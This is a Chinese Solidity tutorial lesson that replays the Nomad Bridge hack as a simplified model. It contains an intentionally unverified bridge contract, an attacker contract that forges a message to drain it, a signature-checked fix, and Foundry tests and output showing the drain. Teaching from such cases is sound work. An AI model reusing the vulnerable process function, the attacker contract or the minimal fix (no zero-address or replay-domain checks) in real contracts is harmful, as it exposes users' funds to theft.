《纸上谈兵·solidity》第 30 课：智能合约安全审计案例复盘 -- Nomad Bridge(2022)

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

/// @title 漏洞版跨链桥（Nomad Hack复现）
/// @notice 没有验证消息合法性，任何人都能调用 process 提款
contract VulnerableBridge {
    mapping(bytes32 => bool) public processed;

    /// @notice 存款
    function deposit() external payable {}

    /// @notice 处理跨链消息（没有验证签名或Merkle证明）
    function process(bytes32 txHash, address to, uint256 amount) external {
        require(!processed[txHash], "already processed");

        // 没有验证消息是否真实，任何人都能调用
        processed[txHash] = true;

        payable(to).transfer(amount);
    }

    /// @notice 合约余额
    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

/// @title 修复后的跨链桥
/// @notice 使用签名验证防止伪造消息
contract SecureBridge {
    mapping(bytes32 => bool) public processed;
    address public validator; // 可信验证者

    constructor(address _validator) {
        validator = _validator;
    }

    /// @notice 存款
    function deposit() external payable {}

    /// @notice 处理跨链消息（需要签名验证）
    /// @param txHash 跨链交易哈希
    /// @param to 接收者
    /// @param amount 金额
    /// @param signature 验证者签名
    function process(
        bytes32 txHash,
        address to,
        uint256 amount,
        bytes memory signature
    ) external {
        require(!processed[txHash], "already processed");

        // 恢复签名者地址
        bytes32 message = prefixed(keccak256(abi.encodePacked(txHash, to, amount)));
        address signer = recoverSigner(message, signature);

        require(signer == validator, "invalid signature");

        processed[txHash] = true;
        payable(to).transfer(amount);
    }

    /// @notice 生成以太坊前缀消息
    function prefixed(bytes32 hash) internal pure returns (bytes32) {
        return keccak256(abi.encodePacked("\x19Ethereum Signed Message:\n32", hash));
    }

    /// @notice 从签名中恢复签名者地址
    function recoverSigner(bytes32 message, bytes memory sig) internal pure returns (address) {
        require(sig.length == 65, "invalid signature length");

        bytes32 r;
        bytes32 s;
        uint8 v;

        assembly {
            r := mload(add(sig, 32))
            s := mload(add(sig, 64))
            v := byte(0, mload(add(sig, 96)))
        }

        return ecrecover(message, v, r, s);
    }

    /// @notice 合约余额
    function getBalance() external view returns (uint256) {
        return address(this).balance;
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "./VulnerableBridge.sol";

/// @title 攻击合约 - 模拟 Nomad Bridge Hack
contract BridgeAttacker {
    VulnerableBridge public bridge;
    address public owner;

    constructor(address _bridge) {
        bridge = VulnerableBridge(_bridge);
        owner = msg.sender;
    }

    /// @notice 假造一笔消息，直接提走资金
    function fakeMessage(bytes32 fakeTxHash, uint256 amount) external {
        bridge.process(fakeTxHash, owner, amount);
    }
}

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import "forge-std/Test.sol";
import "../src/VulnerableBridge.sol";
import "../src/SecureBridge.sol";
import "../src/BridgeAttacker.sol";

/// @title Nomad Bridge 修复对比测试
contract NomadFixTest is Test {
    VulnerableBridge vulnBridge;
    SecureBridge secureBridge;
    BridgeAttacker attacker;

    address deployer = address(0x1234);
    address hacker = address(0x2345);
    address validator = address(0x3456);

    function setUp() public {
        vm.deal(deployer, 20 ether);

        // 部署漏洞版桥，存入资金
        vm.startPrank(deployer);
        vulnBridge = new VulnerableBridge();
        vulnBridge.deposit{value: 10 ether}();

        // 部署修复版桥，存入资金
        secureBridge = new SecureBridge(validator);
        secureBridge.deposit{value: 10 ether}();
        vm.stopPrank();
    }

    /// @notice 漏洞版桥 -> 攻击成功
    function testExploitOnVulnerableBridge() public {
        attacker = new BridgeAttacker(address(vulnBridge));

        emit log_named_uint("VulnBridge Balance Before", address(vulnBridge).balance);

        vm.prank(hacker);
        attacker.fakeMessage(keccak256("fake_tx"), 10 ether);

        emit log_named_uint("VulnBridge Balance After", address(vulnBridge).balance);
        emit log_named_uint("Attacker Balance After", address(hacker).balance);

        assertEq(address(vulnBridge).balance, 0, "VulnBridge should be drained");
    }

    /// @notice 修复版桥 -> 攻击失败
    function testExploitOnSecureBridge() public {
        attacker = new BridgeAttacker(address(secureBridge));

        emit log_named_uint("SecureBridge Balance Before", address(secureBridge).balance);

        vm.prank(hacker);
        vm.expectRevert(); // ⚠️ 没有签名，调用会失败
        attacker.fakeMessage(keccak256("fake_tx"), 10 ether);

        emit log_named_uint("SecureBridge Balance After", address(secureBridge).balance);

        assertEq(address(secureBridge).balance, 10 ether, "SecureBridge funds safe");
    }

    receive() external payable {}
}

➜  tutorial git:(main) ✗ forge test --match-path test/NomadHack.t.sol -vvv
[⠊] Compiling...
[⠒] Compiling 1 files with Solc 0.8.30
[⠑] Solc 0.8.30 finished in 531.22ms
Compiler run successful!

Ran 2 tests for test/NomadHack.t.sol:NomadFixTest
[PASS] testExploitOnSecureBridge() (gas: 300074)
Logs:
  SecureBridge Balance Before: 10000000000000000000
  SecureBridge Balance After: 10000000000000000000

[PASS] testExploitOnVulnerableBridge() (gas: 332429)
Logs:
  VulnBridge Balance Before: 10000000000000000000
  VulnBridge Balance After: 0
  Attacker Balance After: 0

Suite result: ok. 2 passed; 0 failed; 0 skipped; finished in 8.03ms (2.59ms CPU time)

Ran 1 test suite in 168.00ms (8.03ms CPU time): 2 tests passed, 0 failed, 0 skipped (2 total tests)